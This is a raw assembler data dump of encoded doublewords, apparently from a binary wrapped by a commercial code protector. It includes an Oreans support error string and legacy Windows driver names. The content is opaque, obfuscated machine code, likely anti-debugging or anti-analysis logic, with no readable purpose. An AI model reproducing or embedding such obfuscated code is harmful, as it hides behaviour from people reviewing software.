dd 0E0FF4FDFh, 0C9E668FAh, 9DB53A94h, 3A820310h, 0B5055AABh dd 9A2D109Dh, 0B2F10AEh, 0CC84D3BEh, 737D1C7Dh, 47642247h dd 8BFF7816h, 0E7163916h, 0A87696Bh, 5A07D134h, 22B69C3Bh dd 8BAC8B28h, 8769005Ah, 1544C90Ah, 0A8768B9h, 9BB90382h dd 0DE89473Dh, 8331A3C1h, 5000001h, 6AC4BAA3h, 93C2E5C2h dd 109DB537h, 0B4539D00h, 109DB555h, 0C271CD4Ch, 0E16DBDE5h dd 0DAE26EBDh, 0DB0B7580h, 69C5BBA3h, 0BDA3A781h, 6FC2E8C7h dd 0C24913DDh, 0B3C50E0h, 0CC15F521h, 708D0B1h, 4DE0C25Bh dd 0BF6DF5FFh, 27A641DEh, 64h, 0A6DDC23Bh, 6DE1713Fh, 2216BDDCh dd 1824ACB2h, 581F4CEh, 0CE109E14h, 0C2142E4Fh, 9DB53293h dd 0FF4F7310h, 559FFE4Fh, 0C2D97598h, 0DDC268h, 0D44A0865h dd 0B2064890h, 0E0C2BE98h, 2F6EFF4Dh, 4011398Bh, 4895F7C1h dd 5C7ED062h, 97F6470Dh, 0E0C2934Dh, 97D8FF4Dh, 9AB97961h dd 5A88D31Dh, 26000000h, 5530DDC2h, 389B92D8h, 635A84B0h dd 431F7ED6h, 0B53293C2h, 0EA29109Dh, 9DB51F7Bh, 0D2A95010h dd 50957E5Bh, 871D8203h, 0E1B68DBDh, 0C2E94524h, 196BBD68h dd 6FF80E18h, 1C3657B3h, 388FDDC2h, 0B8735875h, 9DCDC945h dd 12739210h, 381748CAh, 9DCE49C5h, 0E9F31210h, 0DE99476Fh dd 3241A641h, 15000000h, 6BC7BDA3h, 0B53293C2h, 8203109Dh dd 0A4B0FD25h, 0E0C2C21Ch, 0D031004Eh, 0BD6FCB08h, 0C245E16Dh dd 0AC3C4DE0h, 177697A6h, 0C4954BCDh, 34h, 0C7BDA36Ah dd 0BDE5C26Bh, 0E8FDE6Ah, 0B4C647C6h, 5CBD109Dh, 0C268C202h dd 0F3FD4BE0h, 61FD51E1h, 1670E5C2h, 0DF109DB5h, 72EC21BEh dd 3B109DB5h, 0E28012DAh, 0FFFE74C4h, 0BEA36AFFh, 6A7AEBC8h dd 9F168BF9h, 617E617Eh, 8768B22Ch, 295C7B0Ah, 0A8768ADh dd 6E761776h, 2CADD96Ch, 8477D4D9h, 0B6993657h, 86BCCB47h dd 0DEAB940Ah, 0D3652A74h, 82D01879h, 98517AA5h, 0E98F32BFh dd 2667F65Ah, 26417D47h, 7A607F5Ch, 2C5B65E7h, 0A86F2B2h dd 0BA4B1A7Bh, 0A86F362h, 0C4E861ADh, 5AA8D8F4h, 3C5Ch dd 12700200h, 4E109DB5h, 0E86293FBh, 0B1109DB4h, 77F1476Ch dd 0E1630113h, 22052280h, 9E5F57B3h, 0F3FD2010h, 11BE8h dd 4CDFC300h, 8D298736h, 0D5B4B426h, 61F34284h, 8D0B1D0h dd 0C8BEA34Eh, 0ABFF7AEBh, 5278168Eh, 0F398E03h, 36BEDF6Eh dd 537754B9h, 0D89C8604h, 6AE57480h, 0B394C10Bh, 0D9E62F8Ch dd 88D77134h, 791879C8h, 90AF2B5Ah, 15780A8Ah, 123689CBh dd 1EAF93B4h, 1FB4A62Eh, 0C51C1829h, 70C0E2C1h, 0AA3253E2h dd 0D51438ADh, 0FEE11078h, 7445138Fh, 63F6DC04h, 0A34088E9h dd 0CA5D4562h, 0E57A607Eh, 0CB5E4463h, 8751B081h, 0D6D4FBD8h dd 0AEA231CCh, 48778209h, 962D3480h, 0C31F4E46h, 8C047449h dd 0B8D96809h, 0FADDFAD9h, 744A0F8Bh, 2BB5D804h, 629432DCh dd 5B49B0Ah, 87FDFFF8h, 0ABEF330Fh, 5E7B8004h, 27BAA03Fh dd 99CF667h, 2065FE5Eh, 0EE3F6141h, 9F16DA0h, 98BAFE5Eh dd 0A6B0A48h, 0D8F82A57h, 0B5905773h, 0AAAh, 3F9FB703h dd 2585C919h, 3999B103h, 2A88C817h, 3B9BB908h, 77C62708h dd 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h, 0F5DAE7C7h, 0B4160680h dd 0E85ACF16h, 84BAE5C2h, 9AAA9050h, 0FAD53120h, 7F9E109Dh dd 0B4D26375h, 159D6763h, 0E242FB12h, 9B883FCEh, 8DCA9BFAh dd 2B3A16A5h, 5DF0E2EAh, 0E77C5EEFh, 5CEED061h, 726063F2h dd 8C06ECD9h, 97F243EFh, 0D9380949h, 818A83F2h, 0C8A90035h dd 0C78252EAh, 3C2AA341h, 8D000000h, 29ADEBA2h, 32BA5814h dd 0C8BEA3A8h, 0A4EB7AEBh, 0F91C168Eh, 79D36668h, 66E67759h dd 0F690D9D7h, 0A4D9F6D9h, 0A8AA42Ah, 0BB4A92F3h, 107B9B3Eh dd 0C7E8C647h, 6AFB53E3h, 0BD37A12Bh, 92C1E16Dh, 109DB53Fh dd 4BBAD063h, 109DB4CFh, 0B6147598h, 0B8176F7Ah, 8BFF8E45h dd 6D4ACB16h, 7757F345h, 0DE8947D9h, 1131A3C1h, 5000001h dd 6AC4BAA3h, 0B53293C2h, 0A829109Dh, 7568C28Eh, 0BBA3DB0Bh dd 0A78169C5h, 6BC7BDA3h, 994764FEh, 41A641DEh, 39h, 0D1DDC215h dd 9AC2379Ah, 381AAA0Ch, 265A84B0h, 3293C20Ch, 3109DB5h dd 0AEFD2582h, 1FAF93A2h, 9EFF1E2Fh, 68C28C56h, 83DF6BBDh dd 0E87A607Dh, 0C4045E66h, 49h, 0C5BBA36Ah, 3293C269h dd 29109DB5h, 0B92C0BA8h, 109DB55Dh, 83DDE726h, 0C47DDC2h dd 0C72F1BCDh, 0D8FFE0FDh, 831D9FFBh, 0DB854FB9h, 0DF6BBDh dd 0A1465FD7h, 3D87F453h, 50E0C2A3h, 758BA02h, 0C0DE5020h dd 656F1E57h, 0DE9947FBh, 2F41A641h, 15000000h, 351E0C2h dd 21637DB9h, 3293C205h, 3109DB5h, 68C2A882h, 45E16DBDh dd 0B110DDC2h, 537DB0F8h, 9AFB4A02h, 19FF1FBh, 24C4h, 0BDA36A00h dd 93C26BC7h, 109DB532h, 0C28EA829h, 94C16CDDh, 5098E23Ah dd 0AAFE2403h, 0BDBE18A0h, 7D45E16Dh, 4BE0C2E3h, 0E6E8F3FDh dd 46FFFFFEh, 0EBC8BEA3h, 8BF96A7Ah, 617E9F16h, 3F63E779h dd 48955FEFh, 5D7DCF62h, 5F7C0661h, 0D564EC7Bh, 0BE2F2CB4h dd 0A876964h, 0B894252Dh, 380968A9h, 87694FC9h, 0DB709A0Ah dd 0A852E3B1h, 154B5Ah, 0C2EF0000h, 0F6FE4CE0h, 9DB53797h dd 6AE27310h, 0F76D4Ch, 0A3D10000h, 7AEBC8BEh, 168EB277h dd 0C385DA00h, 8A296CF9h, 0AFDE38ADh, 66A70A8Ah, 659815Eh dd 13426542h, 0A8AAFB7h, 3A29DAE8h, 122129ADh, 0CAEBE9F3h dd 0D8FA58E8h, 1677C684h, 11378CCEh, 0E66095B2h, 0AF0A8A5Bh dd 0A907666Eh, 74E9C6C0h, 1078A054h, 684764A9h, 0EF98F042h dd 4BDF1195h, 84A92F3h, 2CA6D7B3h, 0F504748Ah, 0F4D1F190h dd 0EFD37DCEh, 3C5DEC5Ch, 750DA2B4h, 3882F98Ah, 0A4389AF2h dd 3A76C7A6h, 578572Fh, 0A622D39h, 634463A2h, 719CA73Ch dd 3A82CE4Ch, 94C9C518h, 0FE5D883Ah, 3591C403h, 0FEFE5D88h dd 3F9FFE9Fh, 0A4AA3C1Eh, 0E2A73A1Ch, 2D6CFD4Fh, 75EE194Ch dd 600773D8h, 78965h, 0C0962400h, 0E06EC0E2h, 0FE4CE0C2h dd 0E769FAE0h, 54E1C7h, 4FBC73A2h, 4E745202h, 547654FEh dd 476949FFh, 6B7856F6h, 1895F164h, 4B5E16B4h, 0E06CBD17h dd 70DC6D51h, 1AAF19E1h, 5877D568h, 3257DD6Fh, 6809AEA0h dd 78666EA5h, 6DE57357h, 0AB33BDDCh, 0A34141EDh, 2755h dd 0BEA3E900h, 78C7EBC8h, 0C00889D8h, 0A1E76293h, 6DB0168Eh dd 0A02DADDCh, 0A840A8Ah, 18D4B71h, 5F355AADh, 9000000h dd 351E0C2h, 0AD09D332h, 0CDF5D2B4h, 283D27Eh, 0B1689DBAh dd 0F2168EB3h, 2D80C293h, 2342085Ch dd 0D832A384h, 0A10A8AACh, 4466747Ch, 0AE0A5BF1h, 66E015B3h dd 9F0A8AADh, 8AACF46Eh, 0B58BD0Ah, 99CCEB8Ah, 107BAA94h dd 6C4B68ADh, 0A7C01A4Bh, 4890477h, 77A7F955h, 7943C204h dd 25B9FD5Bh, 0C2E1A5BCh, 8EA61293h, 1E22316h, 0C6E3F9DEh dd 0FB4BE721h, 75C484D7h, 823DCC14h, 58CAD893h, 27567511h dd 5004F012h, 4909577Bh, 30AADBF8h, 0F94400EDh, 7EEBF594h dd 0F7F24E1Fh, 2203E2C9h, 1A7BAA57h, 407548BDh, 0AFEE49F2h dd 0B5972A10h, 0AAA23315h, 691A9EB7h, 0C904A3B3h, 646h dd 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h, 5777DD6Ch dd 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch, 59764363h dd 0B419AA24h, 441E7316h, 0FF4DE0C2h, 0FA52E3F5h, 75D5676Bh dd 6FE57456h, 71567765h, 798CB47Ch, 0CBA0A39Bh, 8CB25D42h dd 459C9820h, 0D1F36241h, 26168BFCh, 4FE2C8E7h, 5274F3FDh dd 0C2194CFEh, 0F3800259h, 5D41934h, 8DD90000h, 77C7E9C9h dd 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh, 2787CD1Ch dd 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h, 3516B41Bh dd 0E5C282DCh, 9DB51670h, 6AFBDF10h, 8D1F83E2h, 636DACBDh dd 1EB11257h, 0F96C4B2Ah, 168BF8D3h, 7A5CED30h, 0B4F164E6h dd 0D1800255h, 5743F1Ah, 0AD390000h, 972709A9h, 9F3117B7h dd 96250BABh, 0A7361CBAh, 111E0DADh, 0C7E76DFCh, 0DFFF53E1h dd 0C4E266F9h, 0A1014BDEh, 0CC46B798h, 9516B41Ah, 0BEA3E27Ch dd 0E6CCEBC8h, 2A6BFA54h, 0F91963A2h, 1F7E168Bh, 92B80C4Eh dd 257B4DFh, 332EBD80h, 522h, 0B7173F8Bh, 0AD0D4191h, 0B111398Bh dd 0B210408Fh, 0B3134190h, 0EF3EAF80h, 0D5634565h, 0E87B5D7Dh dd 0CD604260h, 4D925F7Fh, 0B41ABE18h, 30128716h, 8E1D6CBDh dd 0B092A3C2h, 0CD1E2F1Dh, 2403B445h, 9DB555B1h, 0E0FF1E10h dd 9DB531ADh, 519BFA10h, 419EAEFFh, 3983C719h, 0A8A4351Bh dd 0B4E96899h, 9625109Dh, 17A7ABBAh, 3DB52637h, 309AD9CCh dd 3356E79Bh, 7D9CADA5h, 4C9BBF1Ch, 0C19EBC04h, 35044899h dd 0EE60F2D4h, 0EB61F4E6h, 67E5785Ah, 64224747h, 0A2DB1647h dd 2164168Eh, 9F61E110h, 0C9D0A8Ah, 9EF75382h, 5DC00A8Ah dd 98292D3Ch, 0FD6FA5B4h, 350998Ch, 18CCF01Ch, 22B37750h dd 9BFA1B2Ah, 1A42B751h, 5AAD735Ah, 0A7371B3Ch, 67796A7h dd 0A8A518Ch, 71A83055h, 4Fh, 4CE0C2C5h, 0B551CD40h, 0FB1A109Dh dd 824ACB9Ah, 7C5B2B36h, 8E980809h, 0A5B4D916h, 0FA5489A6h dd 0C30A8A87h, 8B0B7A42h, 0E20A8A87h, 3E6413A8h, 0CD955FE9h dd 5AAD390Fh, 134C6F1h, 787390D8h, 89DD8905h, 5233520Ah dd 0B1138Ah, 0BD270000h, 57B3226Ch, 20109DB5h, 8ECD9CFDh dd 24351BACh, 6CF9DBE5h, 79ECCBE8h, 109DB51Dh, 0CE1DA7E6h dd 4213398Ch, 3F9FAD00h, 9DB18FCCh, 0D6664C10h, 24ACED7Ch dd 0DAD9F32h, 0A3B29A2Bh, 8D2A5C85h, 8E820D58h, 7757B616h dd 77543237h, 80480053h, 0E8882253h, 0C911074h, 163E8BAFh dd 114392B8h, 0EFC3FD5Ch, 5E7B3279h, 386h, 1BBB9B27h, 9A9A535h dd 15B59527h, 0EACA433h, 17B79D2Ch, 53E20B24h, 317FA101h dd 0C9F8121h, 29BC9E3Ch, 99B68323h, 0B41CEA64h, 45EB316h dd 912170BDh, 1AAAACBDh, 89E82938h, 55E8CAE8h, 0C279D7F7h dd 0B51670E5h, 0BEDF109Dh, 0A7DF0A36h, 98F4D508h, 0D35168Eh dd 9D4A92BEh, 0E7775B78h, 2DB7D667h, 88CF4FBEh, 0BB0B0A8Ah dd 2D80C293h, 850D4E1Fh, 4EB801F4h, 3EC18FBDh, 0C1695AADh dd 0CD000000h, 51E06CBDh, 0E574E06Dh, 9DB17794h, 0AE9E2F10h dd 0B5972A10h, 3483A7A4h, 8168D41Ch, 0EA37A605h, 93168E81h dd 54735472h, 8A7FA521h, 0A04D60Ah, 705B6A08h, 1E1AA2E3h dd 71E4C3C3h, 10748794h, 8F0B7A5Dh, 58047483h, 0DE6FE172h dd 20BFDEBFh, 0AA9AB3Ah, 0A9B89628h, 2D3C18A5h, 15438DECh dd 7DF0A633h, 4748421h, 97CAABEAh, 79EF7230h, 8BBF9A51h dd 22000002h, 0BEE4C294h, 0DEC4E26Ch, 80A2004Ah, 9F81212Fh dd 31644212h, 14408DFEh, 0E4494B6h, 13358AB0h, 103C8DB3h dd 37A6A9B2h, 16B41DDBh, 0C2D16DA4h, 320351E0h, 7AC709D3h dd 0F4DBFCDAh, 0A5A6146Eh, 0A5A731DAh, 409A3814h, 1670E5C2h dd 0DF109DB5h, 912436BEh, 45331CBBh, 0C278BFB4h, 4B89C18Ch dd 761794C7h, 8ADBFF6Eh, 0E4C3E4C2h, 9E6D1571h, 35BFDE10h dd 55E3E009h, 4C2D6CFDh, 0F19486Fh, 0E582F5FBh, 128FFEDBh dd 0DB168F3Ch, 0FC5AABBAh, 530A8B39h, 0AD9542B7h, 0E120311Dh dd 63B17FD7h, 40195AACh, 0BA000000h, 41EE689Dh, 56B70A8Bh dd 0BEA3D48Eh, 637AEBC8h, 0A4168EA3h, 0CFF3D061h, 7908D080h dd 0A8A9F19h, 77A51670h, 5AAD00B9h, 4121h, 708DB200h, 0F16DA07Bh dd 0BA0A8A19h, 1699745Bh, 0C225AF39h, 6CFD4BE0h, 0E564A32Dh dd 7109DB4h, 0C0F1DEE2h, 83445B27h, 36DAC5E2h, 0E5A6E2B1h dd 1B358628h, 0F85184D1h, 0B9168F6Dh, 71104491h, 0BEA3F751h dd 577AEBC8h, 0B0168EA4h, 2DADDC6Dh, 840A8A9Eh, 89057857h dd 520A8A9Dh, 0EA5FA933h, 0AD0FF2C2h, 1FAE945Ah, 0DBE52435h dd 13C4h, 12709A00h, 34109DB5h, 0B7A592Dh, 168EB292h, 36943253h dd 0EBC8BEA3h, 8BF94A7Ah, 815EBF16h, 66440859h, 0A5BF144h dd 0FA56E5CDh, 7ACB89D8h, 7C65D11Bh, 8338AD0Ah, 1075B3h dd 16193E9Dh, 138FFE10h, 0DC0471B2h, 44EF12B9h, 1735CCF3h dd 0D1C7F9DFh, 55E8CA07h, 0CDACA234h, 0D27ACBEDh, 4A3C2583h dd 0DDDDF86Dh, 24260A61h, 6EAFBE94h, 0CAF75A0Fh, 650473D8h dd 0C968h, 56E400h, 202E80A2h, 3E0CA082h, 2729BAA0h, 4014A187h dd 8FFC3362h, 8EB41242h, 94B6143Eh, 87A9093Fh, 0ABB81636h dd 1FD531A4h, 8B9E16B4h, 0C8BEA3D7h, 0EEE3CCEBh, 0D4C72A7Ch dd 0F4450358h, 9DECF495h, 168CF7E2h, 38172667h, 0BC8DBF12h dd 930F7E5Dh, 5C0A8861h, 0C9DAF39h, 0ED406240h, 0CA7F0E5Fh dd 3F4546ADh, 0A9AB3A20h, 0D04ABB98h, 99AEC6ACh, 41CB1574h dd 1A401FC8h, 78D283C5h, 41AEC6ADh, 6FC214DCh, 0FAE0FDDDh dd 0FCDEE668h, 7052E369h, 0ECE071DFh, 0F45CEBCFh, 7E29A2ECh dd 7E460C5Ch, 6343095Ch, 0B9DEC3Dh, 8EEF2E3Fh, 9BB7A0BFh dd 0F6508576h, 0BFAEC60Eh, 0CFF5795Eh, 3C40FD9h, 6A000000h dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 89572414h, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 81E78957h, 4C7h dd 4EF8300h, 5C243C87h, 57243C89h, 164DE4BFh, 8BFA8906h dd 0C483243Ch, 7D7D6804h, 24890000h, 24048124h, 4, 8956555Fh dd 5EF589D6h, 5D086F89h, 53243C8Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 34FF5C24h, 0C4815A24h, 4, 0FD14C3E9h, 4B0E06FFh dd 0CC5743E5h, 6C15B880h, 0C5030616h, 0DECFE0FFh, 6C2A4FE8h dd 0D0A73E0Bh, 0C20C4BDBh, 0E23F17BEh, 0E0766F2Ch, 0F12A2704h dd 3F48248Ah, 998827B2h, 0FF2E62E6h, 0E3E04924h, 8F561AA2h dd 0D2A90DACh, 25B10FEBh, 0B11D5A18h, 84F44AB8h, 0F26704D1h dd 505E7C40h, 0E87B79A3h, 915B5358h, 204A5C59h, 38EF084Fh dd 6A015ACh dd 809912CDh, 89ED7D0Eh, 7E81720h, 2B000000h, 23E0C1ACh dd 0B70FAC57h, 66605ADAh, 8B66D68Bh, 0C28161CAh, 5CE2h dd 6890Fh, 0E3810000h, 1517290Ch, 0EE81FF2Bh, 144DB994h dd 0E91734FFh, 0Ah, 0ECD01A98h, 0B3DC9A5Fh, 0E859084Bh dd 6, 1B01C310h, 815B1403h, 5AED51F1h, 28E98108h, 660D1EA4h dd 81ADA6B8h, 0CDDB6AF1h, 7E907h, 0F7090000h, 26269204h dd 3A0C89F2h, 0CED08166h, 0EE890h, 0B6C20000h, 0FE5EA07Eh dd 0A62ED66Eh, 852B41B8h, 800Fh, 83580000h, 0C88104EFh dd 1A47D8FDh, 0A3DCFF81h, 850FFFFFh, 0Eh, 16E9BFB3h, 0A7000000h dd 0E12F17C4h, 0E9F83476h, 0FFFFFF74h, 0AE6159F7h, 0AAEF74EEh dd 14E816h, 0C8500000h, 0B1DB59E1h, 0BBF3C53Fh, 36679CE7h dd 7A14697Ah, 6E822BFh, 32000000h, 0C5692D66h, 65BB667Dh dd 0F59582Fh, 884h, 2840F00h, 8B000000h, 2DC181F9h, 0F000075h dd 1C68C3B7h, 0F00001Dh, 187h, 665EF500h, 8B9DE5BBh, 0EA81F911h dd 66D1A659h, 3CCADF81h, 0EA817030h, 6598A206h, 8F16CB81h dd 0C281703Eh, 2208AC27h, 8830Fh, 0F600000h, 8Bh, 66526100h dd 18BDE881h, 8166018Fh, 832499E0h, 0C28B04E9h, 0F01EE83h dd 1B85h, 0FFBF0F00h, 22E9h, 0D3C47300h, 0E9823B5Fh, 0BC149BDEh dd 0AF3D4616h, 815A0A04h, 0FFFF96E9h, 0EEA232FFh, 26870840h dd 0E8B68941h, 14h, 31BF9F88h, 279F806Ah, 8BF6C07Ah, 188A0DD5h dd 46FC4B57h, 0FE9h, 98ECBB00h, 27A5FF4Bh, 0CCCC6300h dd 507EE667h, 8191B05Ah, 5D5BC2h, 0BFF500h, 81000000h dd 0ECD718F1h, 3A348B69h, 10E8h, 2B6D5900h, 19BBFD81h dd 0E3AC4D54h, 1327BE0Eh, 0BCF5806Ah, 26F68158h, 0E92FE702h dd 7, 95F5CF99h, 81B16B2Eh, 619873F6h, 0C38B6638h, 2E9CF681h dd 0B70F2623h, 0B70F56CEh, 3A048FC1h, 6660C78Bh, 61F44FB8h dd 0BC59EF81h, 81F54C26h, 26BC55C7h, 0AE84Ch, 60A80000h dd 0EA63B6B1h, 8E22FBB9h, 2880Fh, 61600000h, 98FF8158h dd 0FFFFFA3h, 2785h, 0C9816000h, 2151CFF7h, 2870Fh, 61600000h dd 25E961h, 0A4F00000h, 14DC55EBh, 0A82F884Fh, 8753EB7Ah dd 10A2B48Bh, 0FF53E9FCh, 6254FFFFh, 21B9F048h, 7656E725h dd 0EBFDB683h, 53464934h, 2052474Dh, 444B5620h, 20202020h dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h dd 2052444Ch, 20h, 2 dup(0) dd 842E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 8E0C88C3h, 0FE939E7h, 21000000h dd 426043E0h, 79F2CC69h, 92CE099Bh, 6A605B38h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 8EE6C356h, 0E9F93A59h, 0Bh, 0EC083FBEh, 0E48F91F7h dd 0C7CADC83h, 166FC785h, 6, 0C810F00h, 60000000h, 3E62ADBEh dd 1B25BF73h, 8B616B97h, 53006AC6h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0DB2F31EAh, 8E0F9DBFh dd 0Eh, 9E9h, 1716C00h, 536BE0B9h, 0B70FDD07h, 8B6660D8h dd 8E0FF8h, 61000000h, 0E910E8C1h, 12h, 831778EDh, 723902E1h dd 54F972B5h, 3B6D29EDh, 0C166A578h, 6A08C8h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0FB2898C3h dd 60C90FE3h, 5870Fh, 81660000h, 81B850CBh, 2DD657CAh dd 8589611Ah, 6166FCBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 4EC35242h, 840F9E06h, 1, 78E0FF5h, 0F000000h dd 18Dh, 0C166F500h, 6A08CBh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 60680EC3h, 8E8h, 5C930B00h dd 0FE62BA48h, 8C0F5F8Ah, 13h, 0DE8h, 0D0A6900h, 0ED04C79h dd 32AAB3ADh, 615F6821h, 0F40FB83h, 6E85h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0E4A3713Eh, 8A0FF757h, 0Ch, 6860Fh, 8E0F0000h, 0 dd 0C860Fh, 830F0000h, 6, 8F0Fh, 8DF80000h, 166F9FBDh dd 800F6006h, 4, 5603B866h, 6161F860h, 155E9h, 9E900h dd 0E6BC0000h, 0AB6F6F5h, 83519E44h, 850F0DFBh, 2Ah, 0F0CF8160h dd 0F65880Bh, 8D61D1B7h, 166FA7BDh, 1810F06h, 0F9000000h dd 121E9h, 7810F00h, 0F000000h, 189h, 0FB83F800h, 56850F01h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 894EC356h, 6FAFBD8Dh, 6A0616h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BAB94BC3h, 5062CCF9h, 0C1E9h, 0D8B96000h, 6616E091h dd 6990CA81h, 2AFB8361h, 80850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 451A87C3h dd 6D8C0BFEh, 880FD140h, 4, 615E5160h, 6FB7BD8Dh, 6A0616h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 9847D9C3h, 318269Ch, 0DE903h, 0E1740000h, 5F9B774Dh dd 0F8176773h, 0F9B63133h, 3DE9h, 0B800F00h, 60000000h dd 0FD3B70Fh, 88h, 0FB836100h, 0A3850F27h, 0E9000003h dd 5, 93DD0458h, 0BFBD8DAEh, 0E906166Fh, 0Eh, 0FBA081C4h dd 0FC21FE3Bh, 4C82C4F4h, 0BD89BBB3h, 6166FCFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B5C35343h, 8C66909Eh dd 50006AC8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 8A0F561Eh, 8, 2870Fh, 61600000h, 11E960h dd 3DD70000h, 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh, 618065A1h dd 0FC600324h, 0D20CBF66h, 0FC00A61h, 24985h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0B58D3D63h, 6167739h, 9D858BF8h, 6A061677h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 678DC351h, 0F60F841h, 1581h, 10E900h, 8B020000h, 0F7756861h dd 0E8BD1A0h, 56996B76h, 9261C6A0h, 10E95250h, 0A8000000h dd 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h, 0F1DCD14h, 198B0F31h dd 0E9000000h, 14h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh dd 8C9F1F3Fh, 9AEC221h, 5050585Ah, 0BE952h, 0A4210000h dd 81AAA0CAh, 3ABEAB4Eh, 0E9310F4Ah, 14h, 5FD93DAh, 0FE51BFFFh dd 0C0E6E17Fh, 0A25DA4A2h, 32F299Fh, 0E992585Ah, 0Eh, 2318468Bh dd 7F63214Fh, 7417D3BCh, 10F56A6h, 6AFE244Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0E548C352h, 4F88EF62h, 0F5AB560h, 0F83h, 0AE900h, 51B10000h dd 37165F58h, 1BFBC055h, 1D8C0F61h, 60000000h, 10E8h, 59354500h dd 902F20D7h, 482C4580h, 0D4FC016Ah, 81665BD0h, 6173B4C9h dd 55006A5Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 44114CE8h, 0DE630A1Fh, 0C2836160h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 46BCE42Ah, 0C57D058Bh, 1820F09h, 0F5000000h, 0FC728966h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B6C35343h dd 6E99D39Eh, 9E9917Fh, 0 dd 18A2ACB6h, 651828FFh, 6A10CEC1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C773C350h dd 0B0775C70h, 2D798CB7h, 728966F8h, 56006A02h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0D7F7AD4h dd 0F04CD1Ch, 186h, 0A7E9F800h, 60000000h, 0BE9h, 0F31C3400h dd 0EA7025E0h, 0A539AFA8h, 3DF4D081h, 0F611DE0h, 189h dd 858BF800h, 616779Dh, 19860Fh, 14E90000h, 2000000h, 8AFB2137h dd 60A5AE26h, 0A237BD94h, 9C39C401h, 8D5B83F1h, 167739B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 69269F39h, 657C8148h, 8DF59EBDh, 16448385h dd 17850F06h, 0F000000h, 1180h, 0CE900h, 9450000h, 0AB77DD40h dd 6F3D8671h, 0D0FFBA2Ch, 0C840Fh, 8B0F0000h, 6, 870Fh dd 85890000h, 6166FC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0F1C35747h, 0CE91Ah, 37E50000h, 6A38DBDAh dd 4F9DE351h, 6A61E8FBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0B1EFC355h, 6FC7858Bh dd 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 60F5C0C3h, 1EDF8166h, 0D1DE81F7h, 615302F3h dd 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 2F2BA31Eh, 9DE03B35h, 0E852607Eh, 0Bh, 0B6A56C88h dd 444926FFh, 5BDEAF17h, 60FC615Eh, 0A9F08160h, 0F2A684Ah dd 18Dh, 8361F900h, 16779DBDh, 850F0006h, 39h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E7C35545h, 0D503EAEDh dd 7E93BB5h, 0F9000000h, 0CCBD3324h, 85C785E6h, 616779Dh dd 1013Fh, 7E9FCh, 820F0000h, 1, 20CDF9h, 0B000000h, 8D3774C0h dd 0BD8B0C70h, 6166FCFh, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h dd 6166FCBh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh dd 6166FC7h, 8B04EBh, 8B61C5EBh, 166FC785h, 8F0FCF06h dd 0Ch, 68D0Fh, 840F0000h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 34C35747h dd 1830F01h, 0FC000000h, 0E9C08Bh, 4, 33000000h, 69206E41h dd 7265746Eh, 206C616Eh, 65637865h, 6F697470h, 636F206Eh dd 65727563h, 41282064h, 65726464h, 203A7373h, 78257830h dd 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh, 73207463h dd 6F707075h, 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh dd 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 10ABh, 68D0Fh, 85290000h, 6130061h, 0C9858BF9h dd 6A061307h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0A311C352h, 